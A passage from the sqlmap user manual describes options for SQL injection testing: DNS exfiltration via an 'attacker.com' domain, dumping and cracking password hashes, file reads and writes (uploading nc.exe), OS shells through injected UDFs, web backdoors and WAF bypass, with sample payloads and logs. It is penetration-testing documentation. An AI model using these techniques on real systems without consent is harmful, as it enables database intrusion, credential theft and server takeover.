UNION query tests with NULL fail, whereas with a random integer they succeed.
You can manually tell sqlmap to test for this type of SQL injection with a
specific character by using option --union-char with desired character value
(e.g. --union-char 123).
Option: --union-from
In some UNION query SQL injection cases there is a need to enforce the usage
of valid and accessible table name in FROM clause. For example, Microsoft Access
requires usage of such table. Without providing one UNION query SQL injection
wont be able to perform correctly (e.g. --union-from=users).
v 1.0 45
sqlmap users manual 6 Bypass anti-CSRF protection
Option: --dns-domain
DNS exfiltration SQL injection attack is described in paper Data Retrieval over
DNS in SQL Injection Attacks, while presentation of its implementation inside
sqlmap can be found in slides DNS exfiltration using sqlmap.
If user is controlling a machine registered as a DNS domain server (e.g. do-
main attacker.com) he can turn on this attack by using this option (e.g.
--dns-domain attacker.com). Prerequisites for it to work is to run a sqlmap
with Administrator privileges (usage of privileged port 53) and that one nor-
mal (blind) technique is available for exploitation. Thats solely the purpose
of this attack is to speed up the process of data retrieval in case that at least
one technique has been identified (in best case time-based blind). In case that
error-based blind or UNION query techniques are available it will be skipped as
those are preferred ones by default.
Option: --second-order
Second-order SQL injection attack is an attack where result(s) of an injected
payload in one vulnerable page is shown (reflected) at the other (e.g. frame).
Usually thats happening because of database storage of user provided input at
the original vulnerable page.
You can manually tell sqlmap to test for this type of SQL injection by using
option --second-order with the URL address of the web page where results
are being shown.
6.5 Fingerprint
Switches: -f or --fingerprint
By default the web applications back-end database management system finger-
print is handled automatically by sqlmap. Just after the detection phase finishes
and the user is eventually prompted with a choice of which vulnerable parameter
to use further on, sqlmap fingerprints the back-end database management system
and continues on with the injection by knowing which SQL syntax, dialect and
queries to use to proceed with the attack within the limits of the database
architecture.
If for any instance you want to perform an extensive database management
system fingerprint based on various techniques like specific SQL dialects and
v 1.0 46
sqlmap users manual 6 Bypass anti-CSRF protection
inband error messages, you can provide the switch --fingerprint. sqlmap will
perform a lot more requests and fingerprint the exact DBMS version and, where
possible, operating system, architecture and patch level.
If you want the fingerprint to be even more accurate result, you can also provide
the switch -b or --banner.
6.6 Enumeration
Switch: --all
This switch can be used in situations where user wants to retrieve everything
remotelly accessible by using a single switch. This is not recommended as it will
generate large number of requests retrieving both useful and unuseful data.
6.6.2 Banner
Switch: -b or --banner
Most of the modern database management systems have a function and/or an
environment variable which returns the database management system version
and eventually details on its patch level, the underlying system. Usually the
function is version() and the environment variable is @@version, but this vary
depending on the target DBMS.
Example against an Oracle target:
[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
v 1.0 47
sqlmap users manual 6 Bypass anti-CSRF protection
Switch: --current-user
With this switch it is possible to retrieve the database management systems
user which is effectively performing the query against the back-end DBMS from
the web application.
Switch: --current-db
With this switch it is possible to retrieve the database management systems
database name that the web application is connected to.
Switch: --hostname
With this switch it is possible to retrieve the database management systems
hostname.
Example against a MySQL target:
[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname: debian-5.0-i386
Switch: --is-dba
It is possible to detect if the current database management system session user
is a database administrator, also known as DBA. sqlmap will return True if it
is, vice versa False.
Switch: --users
When the session user has read access to the system table containing information
about the DBMS users, it is possible to enumerate the list of users.
v 1.0 48
sqlmap users manual 6 Bypass anti-CSRF protection
Switch: --passwords
When the session user has read access to the system table containing information
about the DBMS users passwords, it is possible to enumerate the password
hashes for each database management system user. sqlmap will first enumerate
the users, then the different password hashes for each of them.
Example against a PostgreSQL target:
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: postgres_passwd
whats the dictionarys location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: /software/sqlmap/txt/wordlist.txt
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: testpass for user: testuser
[hh:mm:50] [INFO] found: testpass for user: postgres
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
Not only sqlmap enumerated the DBMS users and their passwords, but it also
recognized the hash format to be PostgreSQL, asked the user whether or not to
test the hashes against a dictionary file and identified the clear-text password
for the postgres user, which is usually a DBA along the other user, testuser,
password.
This feature has been implemented for all DBMS where it is possible to enumerate
users password hashes, including Oracle and Microsoft SQL Server pre and post
2005.
You can also provide the option -U to specify the specific user who you want
to enumerate and eventually crack the password hash(es). If you provide CU
as username it will consider it as an alias for current user and will retrieve the
password hash(es) for this user.
v 1.0 49
sqlmap users manual 6 Bypass anti-CSRF protection
Switch: --privileges
When the session user has read access to the system table containing information
about the DBMS users, it is possible to enumerate the privileges for each database
management system user. By the privileges, sqlmap will also show you which
are database administrators.
You can also provide the option -U to specify the user who you want to enumerate
the privileges.
If you provide CU as username it will consider it as an alias for current user and
will enumerate the privileges for this user.
On Microsoft SQL Server, this feature will display you whether or not each user
is a database administrator rather than the list of privileges for all users.
Switch: --roles
When the session user has read access to the system table containing information
about the DBMS users, it is possible to enumerate the roles for each database
management system user.
You can also provide the option -U to specify the user who you want to enumerate
the privileges.
If you provide CU as username it will consider it as an alias for current user and
will enumerate the privileges for this user.
This feature is only available when the DBMS is Oracle.
Switch: --dbs
When the session user has read access to the system table containing information
about available databases, it is possible to enumerate the list of databases.
v 1.0 50
sqlmap users manual 6 Bypass anti-CSRF protection
If you do not provide a specific database with option -D, sqlmap will enumerate
the tables for all DBMS databases.
You can also provide the switch --exclude-sysdbs to exclude all system
databases.
Note that on Oracle you have to provide the TABLESPACE_NAME instead of the
database name.
Note that on PostgreSQL you have to provide public or the name of a system
database. Thats because it is not possible to enumerate other databases tables,
only the tables under the schema that the web applications user is connected
to, which is always aliased by public.
v 1.0 51
sqlmap users manual 6 Bypass anti-CSRF protection
User can retrieve a DBMS schema by using this switch. Schema listing will
contain all databases, tables and columns, together with their respective types.
In combination with --exclude-sysdbs only part of the schema containing
non-system databases will be retrieved and shown.
Example against a MySQL target:
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type |
+-------------+---------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
+-------------+---------+
Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| date | datetime |
| blogger_name | text |
| cid | int(11) |
| comment | text |
+--------------+----------+
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| date | datetime |
| browser | text |
| cid | int(11) |
| hostname | text |
| ip | text |
v 1.0 52
sqlmap users manual 6 Bypass anti-CSRF protection
| referer | text |
+----------+----------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
[...]
Switch: --count
In case that user wants just to know the number of entries in table(s) prior to
dumping the desired one, he can use this switch.
Example against a Microsoft SQL Server target:
Switch and options: --dump, -C, -T, -D, --start, --stop, --first, --last and
--where
When the session user has read access to a specific databases table it is possible
to dump the table entries.
This functionality depends on option -T to specify the table name and optionally
on option -D to specify the database name. If the table name is provided, but
the database name is not, the current database name is used.
v 1.0 53
sqlmap users manual 6 Bypass anti-CSRF protection
This switch can also be used to dump all tables entries of a provided database.
You simply have to provide sqlmap with the switch --dump along with only the
option -D (no -T and no -C).
You can also provide a comma-separated list of the specific columns to dump
with the option -C.
sqlmap also generates for each table dumped the entries in a CSV format textual
file. You can see the absolute path where sqlmap creates the file by providing a
verbosity level greater than or equal to 1.
If you want to dump only a range of entries, then you can provide options
--start and/or --stop to respectively start to dump from a certain entry and
stop the dump at a certain entry. For instance, if you want to dump only the
first entry, provide --stop 1 in your command line. Vice versa if, for instance,
you want to dump only the second and third entry, provide --start 1 --stop
3.
It is also possible to specify which single character or range of characters to
dump with options --first and --last. For instance, if you want to dump
columns entries from the third to the fifth character, provide --first 3 --last
5. This feature only applies to the blind SQL injection techniques because for
error-based and UNION query SQL injection techniques the number of requests
is exactly the same, regardless of the length of the columns entry output to
dump.
In case that you want to constraint the dump to specific column values (or ranges)
you can use option --where. Provided logical operation will be automatically
used inside the WHERE clause. For example, if you use --where="id>3" only table
rows having value of column id greater than 3 will be retrieved (by appending
WHERE id>3 to used dumping queries).
v 1.0 54
sqlmap users manual 6 Bypass anti-CSRF protection
As you may have noticed by now, sqlmap is flexible: you can leave it to
automatically dump the whole database table or you can be very precise in
which characters to dump, from which columns and which range of entries.
v 1.0 55
sqlmap users manual 6 Bypass anti-CSRF protection
If the query is a SELECT statement, sqlmap will retrieve its output. Otherwise
it will execute the query through the stacked query SQL injection technique
if the web application supports multiple statements on the back-end database
management system. Beware that some web application technologies do not
support stacked queries on specific database management systems. For instance,
PHP does not support stacked queries when the back-end DBMS is MySQL, but
it does support when the back-end DBMS is PostgreSQL.
Examples against a Microsoft SQL Server 2000 target:
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: SELECT foo
[hh:mm:14] [INFO] retrieved: foo
SELECT foo: foo
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: SELECT foo, bar
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we are
going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT foo, bar: foo, bar
As you can see, sqlmap splits the provided query into two different SELECT
statements then retrieves the output for each separate query.
If the provided query is a SELECT statement and contains a FROM clause, sqlmap
will ask you if such statement can return multiple entries. In that case the tool
knows how to unpack the query correctly to count the number of possible entries
and retrieve its output, entry per entry.
The SQL shell option allows you to run your own SQL statement interactively,
like a SQL console connected to the database management system. This feature
provides TAB completion and history support too.
v 1.0 56
sqlmap users manual 6 Bypass anti-CSRF protection
Switch: --common-tables
There are cases where switch --tables can not be used to retrieve the databases
table names. These cases usually fit into one of the following categories:
If any of the first two cases apply and you provided the switch --tables, sqlmap
will prompt you with a question to fall back to this technique. Either of these
cases apply to your situation, sqlmap can possibly still identify some existing
tables if you provide it with the switch --common-tables. sqlmap will perform
a brute-force attack in order to detect the existence of common tables across the
DBMS.
The list of common table names is txt/common-tables.txt and you can edit it
as you wish.
Example against a MySQL 4.1 target:
[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner: 4.1.21-community-nt
v 1.0 57
sqlmap users manual 6 Bypass anti-CSRF protection
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users
Database: testdb
[1 table]
+-------+
| users |
+-------+
Switch: --common-columns
As per tables, there are cases where switch --columns can not be used to retrieve
the databases tables column names. These cases usually fit into one of the
following categories:
If any of the first two cases apply and you provided the switch --columns,
sqlmap will prompt you with a question to fall back to this technique. Either
of these cases apply to your situation, sqlmap can possibly still identify some
existing tables if you provide it with the switch --common-columns. sqlmap will
perform a brute-force attack in order to detect the existence of common columns
across the DBMS.
The list of common table names is txt/common-columns.txt and you can edit
it as you wish.
v 1.0 58
sqlmap users manual 6 Bypass anti-CSRF protection
then provide sqlmap with the path where the shared library is stored locally
on your machine. sqlmap will then ask you some questions, upload the shared
library on the database server file system, create the user-defined function(s)
from it and, depending on your options, execute them. When you are finished
using the injected UDFs, sqlmap can also remove them from the database for
you.
These techniques are detailed in the white paper Advanced SQL injection to
operating system full control.
Use option --udf-inject and follow the instructions.
If you want, you can specify the shared library local file system path via command
line too by using --shared-lib option. Vice versa sqlmap will ask you for the
path at runtime.
This feature is available only when the database management system is MySQL
or PostgreSQL.
Option: --file-read
It is possible to retrieve the content of files from the underlying file system when
the back-end database management system is either MySQL, PostgreSQL or
Microsoft SQL Server, and the session user has the needed privileges to abuse
database specific functionalities and architectural weaknesses. The file specified
can be either a textual or a binary file. sqlmap will handle it properly.
These techniques are detailed in the white paper Advanced SQL injection to
operating system full control.
Example against a Microsoft SQL Server 2005 target to retrieve a binary file:
[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
v 1.0 59
sqlmap users manual 6 Bypass anti-CSRF protection
C__example.exe
[...]
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit
$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
do you want confirmation that the file C:/WINDOWS/Temp/nc.exe has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
v 1.0 60
sqlmap users manual 6 Bypass anti-CSRF protection
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file /software/nc.exe.packed
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF sys_eval already exist
[hh:mm:12] [INFO] checking if UDF sys_exec already exist
[hh:mm:12] [INFO] creating UDF sys_eval from the binary UDF file
v 1.0 61
sqlmap users manual 6 Bypass anti-CSRF protection
[hh:mm:12] [INFO] creating UDF sys_exec from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: uid=104(postgres) gid=106(postgres) groups=106(post
gres)
It is also possible to simulate a real shell where you can type as many arbitrary
commands as you wish. The option is --os-shell and has the same TAB
completion and history functionalities that --sql-shell has.
Where stacked queries has not been identified on the web application (e.g. PHP
or ASP with back-end database management system being MySQL) and the
DBMS is MySQL, it is still possible to abuse the SELECT clauses INTO OUTFILE
to create a web backdoor in a writable folder within the web server document
root and still get command execution assuming the back-end DBMS and the
web server are hosted on the same server. sqlmap supports this technique and
allows the user to provide a comma-separated list of possible document root
sub-folders where try to upload the web file stager and the subsequent web
backdoor. Also, sqlmap has its own tested web file stagers and backdoors for
the following languages:
ASP
ASP.NET
JSP
PHP
v 1.0 62
sqlmap users manual 6 Bypass anti-CSRF protection
These techniques are detailed in the white paper Advanced SQL injection to
operating system full control and in the slide deck Expanding the control over
the operating system from the database.
Example against a MySQL target:
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF sys_bineval already exist
v 1.0 63
sqlmap users manual 6 Bypass anti-CSRF protection
_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
v 1.0 64
sqlmap users manual 6 Bypass anti-CSRF protection
v 1.0 65
sqlmap users manual 6 Bypass anti-CSRF protection
Switch: --reg-read
Using this switch you can read registry key values.
Switch: --reg-add
Using this switch you can write registry key values.
Switch: --reg-del
Using this switch you can delete registry keys.
v 1.0 66
sqlmap users manual 6 Bypass anti-CSRF protection
6.12 General
Option: -s
sqlmap automatically creates a persistent session SQLite file for each target,
inside dedicated output directory, where it stores all data required for session
resumal. If user wants to explicitly set the session file location (e.g. for storing
of session data for multiple targets at one place) he can use this option.
Option: -t
This option requires an argument that specified the textual file to write all
HTTP(s) traffic generated by sqlmap - HTTP(S) requests and HTTP(S) re-
sponses.
This is useful primarily for debug purposes - when you provide the developers
with a potential bug report, send this file too.
Switch: --batch
If you want sqlmap to run as a batch tool, without any users interaction when
sqlmap requires it, you can force that by using switch --batch. This will leave
sqlmap to go with a default behaviour whenever users input would be required.
Option: --charset
For proper decoding of character data sqlmap uses either web server provided
information (e.g. HTTP header Content-Type) or a heuristic result coming from
a 3rd party library chardet.
Nevertheless, there are cases when this value has to be overwritten, espe-
cially when retrieving data containing international non-ASCII letters (e.g.
--charset=GBK). It has to be noted that there is a possibility that character
information is going to be irreversibly lost due to implicit incompatibility between
stored database content and used database connector at the target side.
v 1.0 67
sqlmap users manual 6 Bypass anti-CSRF protection
Option: --crawl
sqlmap can collect potentially vulnerable links by collecting them (crawling)
starting from the target location. Using this option user can set a depth (distance
from a starting location) below which sqlmap wont go in collecting phase, as
the process is being done recursively as long as there are new links to be visited.
Example run against a MySQL target:
Option --crawl-exclude
With this option you can exclude pages from crawling by providing a regular
expression. For example, if you want to skip all pages that have the keyword
logout in their paths, you can use --crawl-exclude=logout.
Option: --csv-del
When data being dumped is stored into the CSV format (--dump-format=CSV),
entries have to be separated with a separation value (default is ,). In
case that user wants to override its default value he can use this option (e.g.
--csv-del=";").
Option: --dbms-cred
In some cases user will be warned that some operations failed because of lack of
current DBMS user privileges and that he could try to use this option. In those
cases, if he provides admin user credentials to sqlmap by using this option, sqlmap
will try to rerun the problematic part with specialized run as mechanisms (e.g.
OPENROWSET on Microsoft SQL Server) using those credentials.
v 1.0 68
sqlmap users manual 6 Bypass anti-CSRF protection
Option: --dump-format
sqlmap supports three different types of formatting when storing dumped table
data into the corresponding file inside an output directory: CSV, HTML and
SQLITE. Default one is CSV, where each table row is stored into a textual file
line by line, and where each entry is separated with a comma character , (or
one provided with option --csv-del). In case of HTML, output is being stored
into a HTML file, where each row is represented with a row inside a formatted
table. In case of SQLITE, output is being stored into a SQLITE database, where
original table content is replicated into the corresponding table having a same
name.
Switch: --eta
It is possible to calculate and show in real time the estimated time of arrival to
retrieve each query output. This is shown when the technique used to retrieve
the output is any of the blind SQL injection types.
Example against an Oracle target affected only by boolean-based blind SQL
injection:
[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========> ] 11/64 ETA 00:19
Then:
v 1.0 69
sqlmap users manual 6 Bypass anti-CSRF protection
As you can see, sqlmap first calculates the length of the query output, then
estimates the time of arrival, shows the progress in percentage and counts the
number of retrieved output characters.
Option: --flush-session
As you are already familiar with the concept of a session file from the description
above, it is good to know that you can flush the content of that file using option
--flush-session. This way you can avoid the caching mechanisms implemented
by default in sqlmap. Other possible way is to manually remove the session
file(s).
Switch: --forms
Say that you want to test against SQL injections a huge search form or you want
to test a login bypass (typically only two input fields named like username and
password), you can either pass to sqlmap the request in a request file (-r), set
the POSTed data accordingly (--data) or let sqlmap do it for you!
Both of the above mentioned instances, and many others, appear as <form> and
<input> tags in HTML response bodies and this is where this switch comes into
play.
Provide sqlmap with --forms as well as the page where the form can be found
as the target URL (-u) and sqlmap will request the target URL for you, parse
the forms it has and guide you through to test for SQL injection on those form
input fields (parameters) rather than the target URL provided.
Switch: --fresh-queries
As you are already familiar with the concept of a session file from the description
above, it is good to know that you can ignore the content of that file using option
--fresh-queries. This way you can keep the session file untouched and for a
selected run, avoid the resuming/restoring of queries output.
Switch: --hex
v 1.0 70
sqlmap users manual 6 Bypass anti-CSRF protection
In lost of cases retrieval of non-ASCII data requires special needs. One solution
for that problem is usage of DBMS hex function(s). Turned on by this switch,
data is encoded to its hexadecimal form before being retrieved and afterwards
unencoded to its original form.
Example against a PostgreSQL target:
[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)
))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(
CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: pg_query() [<a href=function.pg-query
>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type num
eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p
hp</b> on line <b>35</b>
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]
Option: --output-dir
sqlmap by default stores session and result files inside a subdirectory output.
In case you want to use a different location, you can use this option (e.g.
--output-dir=/tmp).
Switch: --parse-errors
If the web application is configured in debug mode so that it displays in the
HTTP responses the back-end database management system error messages,
sqlmap can parse and display them for you.
This is useful for debugging purposes like understanding why a certain enumera-
tion or takeover switch does not work - it might be a matter of session users
privileges and in this case you would see a DBMS error message along the lines
of Access denied for user <SESSION USER>.
v 1.0 71
sqlmap users manual 6 Bypass anti-CSRF protection
Option: --pivot-column
Sometimes (e.g. for Microsoft SQL Server, Sybase and SAP MaxDB) it is
not possible to dump the table rows straightforward by using OFFSET m, n
mechanism because of lack of similar. In such cases sqlmap dumps the content
by determining the most suitable pivot column (the one with most unique
values) whose values are used later on for retrieval of other column values.
Sometimes it is necessary to enforce the usage of particular pivot column (e.g.
--pivot-column=id) if the automatically chosen one is not suitable (e.g. because
of lack of table dump results).
Option: --save
v 1.0 72
sqlmap users manual 6 Bypass anti-CSRF protection
It is possible to save the command line options to a configuration INI file. The
generated file can then be edited and passed to sqlmap with the -c option as
explained above.
Switch: --update
Using this option you can update the tool to the latest development version
directly from the Git repository. You obviously need Internet access.
If, for any reason, this operation fails, run git pull from your sqlmap working
copy. It will perform the exact same operation of switch --update. If you are
running sqlmap on Windows, you can use the SmartGit client.
This is strongly recommended before reporting any bug to the mailing lists.
6.13 Miscellaneous
Option: -z
It could become tedious to type all desired options and switches, especially for
those that are used most often (e.g. --batch --random-agent --ignore-proxy
--technique=BEU). There is a simpler and much shorter way how to deal with
that problem. In sqlmap its called mnemonics.
Each option and switch can be written in a shorter mnemonic form using option
-z, separated with a comma character (,), where mnemonics represent only the
first arbitrarily chosen part of the original name. There is no strict mapping of
options and switches to their respective shortened counterparts. Only required
condition is that there is no other option nor switch that has a same prefix as
the desired one.
Example:
Another example:
v 1.0 73
sqlmap users manual 6 Bypass anti-CSRF protection
Option: --alert
Option: --answers
In case that user wants to automatically set up answers for questions, even if
--batch is used, using this option he can do it by providing any part of question
together with answer after an equal sign. Also, answers for different question
can be split with delimiter character ,.
Example against a MySQL target:
Switch: --beep
In case that user uses switch --beep hell be warned with a beep sound imme-
diately when SQL injection is found. This is especially useful when there is a
large bulk list (option -m) of target URLs to be tested.
v 1.0 74
sqlmap users manual 6 Bypass anti-CSRF protection
6.13.5 Cleanup the DBMS from sqlmap specific UDF(s) and table(s)
Switch: --cleanup
It is recommended to clean up the back-end database management system
from sqlmap temporary table(s) and created user-defined function(s) when you
are done taking over the underlying operating system or file system. Switch
--cleanup will attempt to clean up the DBMS and the file system wherever
possible.
Switch: --dependencies
sqlmap in some special cases requires independent installation of extra 3rd party
libraries (e.g. options -d, switch --os-pwn in case of icmpsh tunneling, option
--auth-type in case of NTLM HTTP authentication type, etc.) and it will warn
the user only in such special cases. But, if you want to independently check for all
those extra 3rd party library dependencies you can use switch --dependencies.
v 1.0 75
sqlmap users manual 6 Bypass anti-CSRF protection
Switch: --disable-coloring
sqlmap by default uses coloring while writting to console. In case of unde-
sired effects (e.g. console appearance of uninterpreted ANSI coloring codes like
\x01\x1b[0;32m\x02[INFO]) you can disable console output coloring by using
this switch.
Option: --gpage
Default sqlmap behavior with option -g is to do a Google search and use the first
100 resulting URLs for further SQL injection testing. However, in combination
with this option you can specify with this option (--gpage) a page other than
the first one to retrieve target URLs from.
Switch: --hpp
HTTP parameter pollution (HPP) is a method for bypassing WAF/IPS/IDS
protection mechanisms (explained here) that is particularly effective against
ASP/IIS and ASP.NET/IIS platforms. If you suspect that the target is behind
such protection, you can try to bypass it by using this switch.
Switch: --identify-waf
sqlmap can try to identify backend WAF/IPS/IDS protection (if any) so user
could do appropriate steps (e.g. use tamper scripts with --tamper). Currently
around 30 different products are supported (Airlock, Barracuda WAF, etc.) and
their respective WAF scripts can be found inside waf directory.
v 1.0 76
sqlmap users manual 6 Bypass anti-CSRF protection
v 1.0 77
sqlmap users manual 6 Bypass anti-CSRF protection
-tamper)
[...]
Switch: --mobile
Sometimes web servers expose different interfaces toward mobile phones than to
desktop computers. In such cases you can enforce usage of one of predetermined
smartphone HTTP User-Agent header values. By using this switch, sqlmap will
ask you to pick one of popular smartphones which it will imitate in current run.
Example run:
Switch: --offline
By using switch --offline sqlmap will use only previous session data in data
enumeration. This basically means that there will be zero connection attempts
during such run.
v 1.0 78
sqlmap users manual 6 Bypass anti-CSRF protection
Switch: --page-rank
Performs further requests to Google when -g is provided and display page rank
(PR) for Google dork results.
Switch --purge-output
In case that user decides to safely remove all content from output directory,
containing all target details from previous sqlmap runs, he can use switch
--purge-output. While purging, all files from (sub)directories in folder output
will be overwritten with random data, truncated, renamed to random names,
(sub)directories will be renamed to random names too, and finally the whole
directory tree will be deleted.
Example run:
Switch --smart
There are cases when user has a large list of potential target URLs (e.g. provided
with option -m) and he wants to find a vulnerable target as fast as possible.
If switch --smart is used, only parameters with which DBMS error(s) can be
provoked, are being used further in scans. Otherwise they are skipped.
Example against a MySQL target:
v 1.0 79
sqlmap users manual 6 Bypass anti-CSRF protection
[xx:xx:14] [INFO] GET parameter id is MySQL >= 5.0 AND error-based - WHERE or
HAVING clause injectable
[xx:xx:14] [INFO] testing MySQL inline queries
[xx:xx:14] [INFO] testing MySQL > 5.0.11 stacked queries
[xx:xx:14] [INFO] testing MySQL < 5.0.12 stacked queries (heavy query)
[xx:xx:14] [INFO] testing MySQL > 5.0.11 AND time-based blind
[xx:xx:24] [INFO] GET parameter id is MySQL > 5.0.11 AND time-based blind in
jectable
[xx:xx:24] [INFO] testing MySQL UNION query (NULL) - 1 to 20 columns
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter id is MySQL UNION query (NULL) - 1 to 20 colu
mns injectable
[...]
v 1.0 80
sqlmap users manual 6 Bypass anti-CSRF protection
Option --test-filter
In case that you want to filter tests by their payloads and/or titles you can
use this option. For example, if you want to test all payloads which have ROW
keyword inside, you can use --test-filter=ROW.
Example against a MySQL target:
[xx:xx:39] [INFO] GET parameter id is MySQL >= 4.1 AND error-based - WHERE or
HAVING clause injectable
GET parameter id is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 3 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELEC
T (C
ASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FRO
M (S
ELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY
x)
---
[...]
Option --test-skip=TEST
In case that you want to skip tests by their payloads and/or titles you can use
this option. For example, if you want to skip all payloads which have BENCHMARK
keyword inside, you can use --test-skip=BENCHMARK.
v 1.0 81
sqlmap users manual 6 Bypass anti-CSRF protection
Switch: --sqlmap-shell
By using switch --sqlmap-shell user will be presented with the interactive
sqlmap shell which has the history of all previous runs with used options and/or
switches:
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end users responsibility to obey all applicable
